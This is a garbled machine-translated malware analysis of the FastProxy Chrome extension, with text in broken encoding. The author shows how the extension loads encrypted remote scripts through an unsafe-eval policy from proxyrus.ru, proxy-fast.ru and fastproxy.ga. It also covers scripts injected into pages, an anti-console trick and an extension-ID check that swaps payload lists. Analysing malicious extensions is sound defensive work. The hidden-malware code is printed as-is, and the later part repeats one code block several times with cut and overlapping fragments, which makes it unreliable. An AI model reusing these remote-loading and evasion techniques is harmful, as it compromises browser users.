рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдореИрдВ рджрд┐рдЦрд╛рдКрдВрдЧрд╛ рдХрд┐ рдХреНрд░реЛрдо рдореЗрдВ рдЦрддрд░рдирд╛рдХ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдФрд░ рдХреИрд╕реЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ
рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред
рдпрд╣ FastProxy рдХреЗ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИред
рдХрд┐рд╕реА рднреА рдорд╛рдорд▓реЗ рдореЗрдВ рдЗрд╕реЗ рдХреНрд░реЛрдо рдореЗрдВ рдЕрдкрдиреЗ рд╢реБрджреНрдз рд░реВрдк рдореЗрдВ рди рд░рдЦреЗрдВред
рдЗрд╕рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдФрд░ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреНрд░реЛрдо рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реНрд░реЛрдд рджрд░реНрд╢рдХ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
рдЙрд╕рдХреЗ рдмрд╛рдж, рдкреЗрдЬ рдЦреЛрд▓реЗрдВ ред
CRX рдЖрдЗрдХрди рдкреАрд▓рд╛ рд╣реЛ рдЬрд╛рдПрдЧрд╛ - рдЗрд╕ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ "рдЬрд╝рд┐рдк рдХреЗ рд░реВрдк рдореЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ" рдЪреБрдиреЗрдВред
рдЕрдм рдХреЛрдб рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдПред
1. рдкреНрд░рдХрдЯ (рдореЗрдирд┐рдлреЗрд╕реНрдЯреЛрди) - рдХрд┐рд╕реА рднреА рд╡рд┐рд╕реНрддрд╛рд░ рдХрд╛ рдореВрд▓
рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкреНрд░рддрд┐рдмрдВрдз CSP (рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐) рдФрд░ рдЕрдиреБрдорддрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ:
"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com ; рдСрдмреНрдЬреЗрдХреНрдЯ-src 'self'";
"рдЕрдиреБрдорддрд┐рдпрд╛рдБ": ["рдкреНрд░реЙрдХреНрд╕реА", "рдЯреИрдм", "рд╡реЗрдмрд░реЗрдЬрд╝реЗрд╕реНрдЯ", "рд╡реЗрдмрд░реЗрдЬрд╝рд╕реНрдЯрдмреНрд▓реЙрдХрд┐рдВрдЧ", "рдкреНрд░рдмрдВрдзрди", "\ u003Call_urls>", "рд╕рдВрдЧреНрд░рд╣рдг"],
рд╕реАрдПрд╕рдкреА рдХреЛ рддреБрд░рдВрдд рд╕рддрд░реНрдХ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдпрд╣ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд-рдирд┐рд╖реНрдХрд╛рд╕рди (рдЗрд╕ рдкрд░ рдЕрдзрд┐рдХ) рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдпрд╛рдиреА рдкрд╛рд░рд┐рдд рдХрд┐рд╕реА рднреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред
management
рдЕрдиреБрдорддрд┐ рдЖрдкрдХреЛ рдЕрдиреНрдп рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИредwebRequestBlocking
рдЕрдиреБрдорддрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧреБрдЬрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╕реНрдерд╛рдирд╛рдкрдиреНрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред- рдЕрдиреБрдорддрд┐
\u003Call_urls>
<all_urls>
рдХреЗ рд╕рдорд╛рди рд╣реИ - рдпрд╣ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА рд╕рд╛рдЗрдЯ рдкрд░ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрд╣рд╛рдБ рдФрд░ рдЬрд╛рдиреЗрдВред
рдпрд╛рдиреА рдХреЗрд╡рд▓ рдПрдХ рдореИрдирд┐рдлрд╝реЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рдм рдХреБрдЫ рддрдХ рдкрд╣реБрдВрдЪ рдХрд╛ рдПрдХ рд╡рд┐рд╢рд╛рд▓ рд╕реНрддрд░ рд╣реИред
рдХреБрдВрдЬреА рдХреЛрдб рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рд╣реИрдВ
"рдкреГрд╖реНрдарднреВрдорд┐": {
"рд╕реНрдХреНрд░рд┐рдкреНрдЯ": ["lib.js", "jquery.min.js", "рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб.рдЬреЗрдПрд╕", "ga.js"]
}
рд╡рд┐рд╕реНрддрд╛рд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рдпрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рдЙрдиреНрд╣реЗрдВ рд╕рд░рдгреА рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
2. рдкреГрд╖реНрдарднреВрдорд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг
рдХреЛрдб рдХрдо рд╕реЗ рдХрдо рдФрд░ рднреНрд░рдорд┐рдд рд╣реИред рд╕реБрд▓рдЭрдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде рд╕рд╛рдЗрдЯ http://jsbeautifier.org/ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред
- рдореИрдВрдиреЗ jquery.min.js рдлрд╝рд╛рдЗрд▓ рдХреА рддреБрд▓рдирд╛ рдореВрд▓ jquery 2.2.4 рдХреЛрдб рдХреЗ рд╕рд╛рде рдХреА - рд╡реЗ рдореЗрд▓ рдЦрд╛рддреЗ рд╣реИрдВред
- Ga.js рдлрд╝рд╛рдЗрд▓ рдХреЗрд╡рд▓ Google Analytics рдХреЛрдб рд╣реИред
- Lib.js рдлрд╝рд╛рдЗрд▓ CryptoJS рд╣реИред
- рдореБрдЦреНрдп рдХреЛрдб background.js рдореЗрдВ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред
рдХреЛрдб рдХреЛ рдкрдврд╝рдиреЗ рдореЗрдВ рдмрд╣реБрдд рдЖрд╕рд╛рди рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ рдЗрд╕реЗ рдереЛрдбрд╝рд╛ рдирд╛рдо рджрд┐рдпрд╛ (рдмрджрд▓рд╛ рд╣реБрдЖ рдХрд╛рд░реНрдп, рдЕрд▓рдЧ-рдЕрд▓рдЧ рдмреНрд▓реЙрдХ рдореЗрдВ рдЕрд▓реНрдкрд╡рд┐рд░рд╛рдо рдмрджрд▓ рджрд┐рдпрд╛)ред
рдХреЛрдб рдХреЗ рдЧреИрд░-рдХреЛрд░ рд╣рд┐рд╕реНрд╕реЗ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрд╕реА рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдФрд░ рдХреНрд░реЛрдо рдореЗрдВ рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдореМрд▓рд┐рдХ рд░реВрдк рд╕реЗ рдЕрд▓рдЧ рд╣реИред
рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдореЗрдВ рд▓рд┐рдВрдХ рдЦреЛрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
"рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ" рд▓рд┐рдВрдХ рдХреЛ рдХреЙрдкреА рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдХреНрд░реЛрдо рдореЗрдВ рдЦреЛрд▓реЗрдВред
рдЬрд╝рд┐рдк рд╕рдВрдЧреНрд░рд╣ рдХреЗ рд░реВрдк рдореЗрдВ рдЦреЛрд▓реЗрдВред
рдЗрд╕ рд▓рд┐рдВрдХ рдкрд░ рджреЛрдмрд╛рд░рд╛ рд▓рд┐рдЦрд╛ рдХреЛрдб рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ рдпрд╣ рд╕рдордЭрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлрд╝рд╛рдЗрд▓ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд $.ajax
рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдкреГрд╖реНрда рдореЗрдВ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдкреГрд╖реНрда рдореЗрдВ рдирд╣реАрдВ, рдмрд▓реНрдХрд┐ рдкреГрд╖реНрдарднреВрдорд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ) рдПрдореНрдмреЗрдб рдХрд░рддрд╛ рд╣реИред
рд░реЗрдЦрд╛ рджреНрд╡рд╛рд░рд╛ рдкрд╣рд░рд╛ рджрд┐рдпрд╛ рдЧрдпрд╛
localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] );
рд╡реЗ рд╣рдореЗрдВ рдкрд╣рд▓реЗ рд╣реА рдмрддрд╛ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдорд╛рдорд▓рд╛ рд╕рд╛рдл рдирд╣реАрдВ рд╣реИред
CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
рдФрд░ CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record")
CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record")
рдмрд╛рдж CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config")
рдЬреЛрдбрд╝реЗрдВред , рд╕реНрд╡рдпрдВ рдЕрдЬрд╛рдХреНрд╕ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред
рдЙрд╕реА рд╕рдордп, рд▓рд╛рдЗрди рдореЗрдВ JSON.parse( localStorage.C)[cc]
(рдФрд░ рд░рд┐рдХреЙрд░реНрдб рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди) cc рд╣рдо 0 рд╕реЗ 1 рдореЗрдВ рдмрджрд▓рддреЗ рд╣реИрдВ (рдмрд╛рдж рдореЗрдВ 2 рддрдХ, рдЬрдм рд╣рдо 3 рддрддреНрд╡реЛрдВ рдХреЗ рд╕рд░рдгрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ)ред
рд╣рдореЗрдВ рд▓рд┐рдВрдХ рдорд┐рд▓рддреЗ рд╣реИрдВ:
рдЗрд╕рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ
http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)
рдЗрд╕реЗ рд░рд┐рдХреЙрд░реНрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП
http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд▓рд┐рдВрдХ рдХреЗрд╡рд▓ рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рджреЛрдиреЛрдВ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рдпреВрдЖрдИрдбреА рдФрд░ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдХреЗрд╡рд▓ $ .ajax рдпрд╛ рд▓рд╛рдиреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред рдХреЗрд╡рд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЦреЛрд▓рдирд╛ рджреЗрдЦрдирд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ - рдЬрд╛рд╣рд┐рд░рд╛ рддреМрд░ рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ рд╣реЗрдбрд░ рдХреЗ рд▓рд┐рдП рдЪреЗрдХ рд╣реИрдВред
рдЕрдм рдЖрдЗрдП рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВ рдХрд┐ рдпреЗ рдЕрдЬрд╛рдХреНрд╕ рдХреНрдпрд╛ рджреЗ рд░рд╣реЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реНрд╡рдпрдВ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдмрд╕ рдХрд┐рд╕реА рдЕрдиреНрдп рдкрд░рд┐рдпреЛрдЬрдирд╛ рдореЗрдВ рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмреЗрд╣рддрд░ рд╣реИ (рдЖрдкрдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдХреЙрд░реНрд╕ рдХреЛ рдЕрдирд▓реЙрдХ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА)ред
рддреЛ, рдкрд╣рд▓рд╛ рд▓рд┐рдВрдХ рд╣рдореЗрдВ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдкреГрд╖реНрдарднреВрдорд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдПрдореНрдмреЗрдбреЗрдб рд╣реЛрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ 'рдЕрд╕реБрд░рдХреНрд╖рд┐рдд-рдирд┐рд╖реНрдХрд╛рд╕рди' рдореМрдЬреВрдж рд╣реИ, рд▓реЗрдХрд┐рди рд╕реАрдПрд╕рдкреА рдореЗрдВ рд▓рд┐рдВрдХ рдкреНрд░рддрд┐рдмрдВрдз рдирд╣реАрдВ рд╣реИрдВред
рдпрд╣ рд░реЗрдЦрд╛ рдХреЛ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ
function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\"> .<br><br> .</center>'",runAt:"document_start"}); }
рд╣рдо "рдПрдВрдЯреА-рдирд┐рд╖реЗрдз рдлрд╛рд╕реНрдЯрдкреНрд░реЛрдХреНрд╕реА" рдХреА рдЦреЛрдЬ рдореЗрдВ рдбреНрд░рд╛рдЗрд╡ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ 4 рд╡реЗрдВ рдЦреЛрдЬ рдкрд░рд┐рдгрд╛рдо рдЦреЛрд▓рддреЗ рд╣реИрдВ, рдЕрдиреБрднрд╛рдЧ "рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ"ред
рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ FastProxy рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдкреНрд░реЙрдХреНрд╕реА рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред
рджреВрд╕рд░рд╛ рд▓рд┐рдВрдХ рдкрд╣рд▓реЗ рдХреЗ рд╕рдорд╛рди рдПрдХ рдХреЛрдб рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЕрд▓рдЧ рд╣реИ!
function closeWindow () { const time = 500; // setInterval(function() { // chrome.tabs.getSelected(null, function (details) { // id - if (details.id == -1) window.close(); }) }, time); } closeWindow();
рдЖрдорддреМрд░ рдкрд░ рд╕рднреА рдЯреИрдм рдореЗрдВ рдЖрдИрдбреА рд╣реЛрддреА рд╣реИред рдПрдХ рдЕрдкрд╡рд╛рдж рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрдВрд╕реЛрд▓ рдЯреИрдм рд╡рд┐рдВрдбреЛ рд╣реИред рдпрд╛рдиреА рдпрд╣ рдХрдВрд╕реЛрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рд╕реВрд╕реА рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рд╣реИред
рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирдП urls рднреА рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8)
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВ CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8)
рдФрд░ CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8)
ред
рдкрд╣рд▓реЗ 2 рд▓рд┐рдВрдХ рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреЗ рд╕рдорд╛рди рд╣реИрдВред рд▓реЗрдХрд┐рди рддреАрд╕рд░рд╛ рдЕрд▓рдЧ рд╣реИ:
http://fastproxy.ga/proxy/config/config.txt
'рд░рд┐рдХреЙрд░реНрдб' рдХреЗ рд▓рд┐рдП рд╕рднреА 3 рд▓рд┐рдВрдХ рдирдП рд╣реИрдВред
http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt
рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, config_proxy-fast.ru.js рд╕реЗ рдЕрд▓рдЧ рдирд╣реАрдВ рд╣реИ
рд╡рд╛рдкрд╕ config_proxyrus.ru.js рдкрд░
рдХреЛрдб рдореЗрдВ рдХрдВрд╕реЛрд▓ рдХреЛ рдмрдВрдж рдХрд░рдирд╛ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИред рдлрд┐рд░ рдорд╕реНрддреА рд╢реБрд░реВ рд╣реЛрддреА рд╣реИред
рдкрдВрдХреНрддрд┐
var ext_id = chrome.app.getDetails().id;
рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХреЛ рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рдПрдХ рдЕрдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реБрд╡рд┐рдзрд╛ рд╣реИред
рд╡рд░реНрддрдорд╛рди рдкреНрд░рд▓реЗрдЦрди рдПрдХ рдЕрд▓рдЧ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ
рдЕрдЧрд▓рд╛ рдХрд╛рдВрдЯрд╛ рдЖрддрд╛ рд╣реИ:
if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0 ="]); if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); // } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", 